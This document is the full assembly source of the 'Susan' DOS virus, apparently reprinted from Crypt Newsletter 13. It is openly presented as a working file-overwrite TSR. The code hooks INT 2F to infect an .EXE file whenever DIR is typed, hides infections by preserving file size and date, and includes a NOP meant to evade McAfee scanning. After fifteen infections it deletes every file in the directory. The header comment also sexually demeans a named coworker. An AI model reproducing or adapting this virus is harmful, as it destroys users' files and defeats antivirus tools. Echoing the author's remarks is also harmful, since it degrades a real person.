Susan virus: included in Crypt Newsletter 13 COMMENT * Susan Virus, Strain A Written by NB This program needs to be assembled with Turbo Assembler. Special thanks go to Richard S. Sadowsky of TurboPower Software for the help on using INT 2F with those majick functions! This is an example of an interesting technique for writing a virus that is terminate-and-stay-resident. Description: Susan is a file overwrite virus. Named for a woman in my department who is overly concerned about virii, but has no idea about what the fuck they actually are. She also has real nice tits. This is a TSR that only infects .EXE files. Each time the user types "DIR", the first .EXE file found is infected. After 15 such infections, then each time DIR is typed, all files are erased in that directory. Infected .EXEs are destroyed and will not run. Attempts to run them will display the message "Bad command or file name" message. Interesting Features: - File size and date-stamp of infected file is maintained. - Uses Vienna Virus technique of using the file time to determine if a target file is infected. - Infects and zaps everytime the user types a plain DIR command. - Hooks INT 2F for handling the DIR command. - Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in installed in memory. - Writes the bug directly from memory. * .model small .code LOCALS @@ ORG 100h ; for COM file DTA STRUC ; used for file searching dtaReserved db 21 dup (0) dtaAttrib db 0 dtaTime dw 0 dtaDate dw 0 dtaSize dd 0 dtaName db 13 dup (0) DTA ENDS DPL STRUC ; DOS Parameter List used for undoc funcs dplAX DW 0 dplBX DW 0 dplCX DW 0 dplDX DW 0 dplSI DW 0 dplDI DW 0 dplDS DW 0 dplES DW 0 dplCID DW 0 ; computer ID (0 = current system) dplPID DW 0 ; process ID (PSP on specified computer) DPL ENDS Pointer STRUC ; nice structure for a pointer type Ofst DW 0 Segm DW 0 Pointer ENDS Start: JMP Initialize OurCommandLen EQU 3 PathOfs EQU 80h ; Use command tail of PSP as path buffer FuckMeNow EQU 16 virSig dw 'uS' ; Don't delete this line... virName db 'san' ; ...this is the Susan Virus! EofMarker db 26 OldInt2F Pointer <> FNameLen db 3 FileName db '*.*', 0 DeleteDPL DPL <> FuckCount db 0 SaveDTA Pointer <> TargetMask db '*.EXE', 0 Victim DTA <> OurCmd db 'DIR', 0Dh IsInfected: ; This will detect if the .exe is already infected. We are using ; a nifty technique pulled from the Vienna Virus. If the file's ; seconds is 62, then that file is infected. MOV AX, Victim.dtaTime AND AX, 1Fh CMP AX, 1Fh ; >60 seconds ; JZ infected ; JNZ not infected RET SearchExec: ; Returns AX = 1 if a uninfected file found XOR CX,CX ; Search for an .EXE file MOV DX,OFFSET TargetMask ; DS has seg MOV AH, 4Eh INT 21h JC @@AlreadyInfected ; No .exes in this directory CALL IsInfected ; Is this file infected? JNZ @@NotInfectedYET ; Need to look for next file (maybe next version, haha) @@AlreadyInfected: XOR AX, AX ; Zeros out AX RET @@NotInfectedYET: MOV AX, 1 ; Return a <> Zero indicator: Boolean RET CopySelf: MOV DX, OFFSET Victim.dtaName ; Open file for read/write MOV AX, 4301h MOV CX, 0 ; Clear all attributes to NORMAL INT 21h MOV AH, 3Dh ; Now open up the file... Don't worry now about nets MOV AL, 2 ; read/write access int 21h MOV BX, AX PUSH CS ; Write the virus to the start of the open file POP DS MOV DX,OFFSET Start ; Start of virus MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus MOV AH,40h NOP ; WOW! this NOP will suppresses McAfees' scan from INT 21h ; thinking this is a VR [FR] virus! MOV DX, Victim.dtaDate MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp MOV AX, 5701h OR CX, 001Fh ; And set the time to 62 seconds! INT 21h ; ala Vienna Virus MOV AH, 3Eh ; Close up the file - we're done INT 21h RET Manipulate: PUSH AX ; Uh...Save registers? PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES MOV SI,CS ; get Canonical pathname MOV ES,SI MOV DS,SI CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect? JL @@InfectCity MOV DI,PathOfs MOV SI,OFFSET FileName ; Mask to delete MOV AH,60h INT 21h MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List MOV [SI].dplAX,4100h MOV AX,CS MOV [SI].dplDS,AX MOV [SI].dplDX,PathOfs MOV [SI].dplES,0 MOV [SI].dplCID,0 MOV [SI].dplPID,AX MOV DS,AX ; Make DOS Server Function Call MOV DX,SI MOV AX,5D00h INT 21h ; Infect more here... @@InfectCity: MOV AH, 2FH ; get the current DTA address INT 21h MOV AX,ES MOV SaveDTA.Segm, AX ; Save it MOV SaveDTA.Ofst, BX MOV DX, OFFSET victim ; Set DTA to this glob of memory MOV AH, 1Ah INT 21h CALL SearchExec CMP AX, 0 JZ @@InfectNot CALL CopySelf INC FuckCount ; Track the time until eating files... PUSH DS ; Restore the DTA MOV AX, SaveDTA.Segm MOV DS, AX MOV DX, SaveDTA.Ofst MOV AH, 1Ah INT 21h POP DS ; And return to the way it was... @@InfectNot: POP ES POP DS POP DI POP SI POP DX POP AX ; If you want the DOS command to not execute, then you just need to uncomment ; out the next line: ; MOV BYTE PTR [SI],0 ; clear out the command string RET ; convert pascal style string in DS:SI to uppercase UpperCaseSt: PUSH CX PUSH SI XOR CX,CX MOV CL,BYTE PTR [SI] @@UpcaseCh: ; Oh well, not too hard... INC SI CMP BYTE PTR [SI],'a' JB @@NotLower CMP BYTE PTR [SI],'z' JA @@NotLower SUB BYTE PTR [SI],'a' - 'A' @@NotLower: LOOP @@UpcaseCh POP SI POP CX RET ; zf set if match, zf not set if no match IsMatch: ; NOTE: ds:bx has command line ; ofs 0 has max length of command line ; ofs 1 has count of bytes to follow command line text, ; terminated with 0Dh PUSH CX PUSH SI PUSH DI PUSH ES MOV SI,BX INC SI CALL UpperCaseSt INC SI MOV CX,CS MOV ES,CX MOV DI,OFFSET OurCmd MOV CX,OurCommandLen + 1 CLD REPE CMPSB POP ES POP DI POP SI POP CX RET IsMatch2: PUSH CX PUSH SI PUSH DI PUSH ES XOR CX,CX MOV CL,BYTE PTR [SI] INC SI CMP CL,OurCommandLen JNZ @@NotOurs MOV DI,CS MOV ES,DI MOV DI,OFFSET OurCmd CLD REPE CMPSB @@NotOurs: POP ES POP DI POP SI POP CX RET Int2FHandler: CMP AX, 010Fh ; Am I installed? JNZ CheckCmd MOV AX, virSig IRET CheckCmd: CMP AH,0AEh ; a nifty-c00l majick function JNE @@ChainInt2F CMP AL,0 JE @@CheckCommand CMP AL,1 JE @@ExecuteCommand @@ChainInt2F: JMP DWORD PTR CS:[OldInt2F] @@CheckCommand: ; Dos is checking if we are a valid command CMP DX,0FFFFh JNE @@ChainInt2F CALL IsMatch JNZ @@ChainInt2F MOV AL,0FFh IRET @@ExecuteCommand: ; Dos says "yup! - Execute it!" CMP DX,0FFFFh JNE @@ChainInt2F CALL IsMatch2 JNZ @@ChainInt2F CALL Manipulate IRET Initialize: MOV FuckCount, 0 ; Clear it since we may have written junk MOV DX,OFFSET InstallMsg MOV AH,09h INT 21h MOV AH,30h ; Check DOS version >= 3.3 INT 21h XCHG AH,AL CMP AX,0303h JB @@InstallBad ; NOTE: This checks to see if we are already installed in memory. ; Basically, we have added a new subfunction to the PRINT funcs ; which returns my initials if installed. MOV AX, 010Fh ; Check if we are installed INT 2Fh CMP AX, virSig JZ @@InstallBad MOV AX,352Fh ; Lets get and save int 2F INT 21h MOV OldInt2F.Ofst,BX MOV OldInt2F.Segm,ES MOV DX,OFFSET Int2FHandler ; And set it to ours MOV AX,252Fh INT 21h MOV SI,2Ch MOV AX,[SI] ; get segment of env's memory MOV ES,AX MOV AH,49h ; release environment block's memory INT 21h ; NOTE: Normally, we would have something like OFFSET INITIALIZE but ; since we want to write the code from memory to disk, we have to ; keep the whole thing in memory. MOV DX,OFFSET EndOBug ADD DX,15 MOV CL,4 SHR DX,CL MOV AX,3100h INT 21h ; Terminate and stay resident! @@InstallBad: MOV AX,4C00h ; Just quit with no message - no sense telling what INT 21h ; may have occured... InstallMsg: db 'Bad command or file name', 0Dh, 0Ah EndOBug db '$' ; Very important (tho lame) - Do not remove! _TEXT ENDS END Start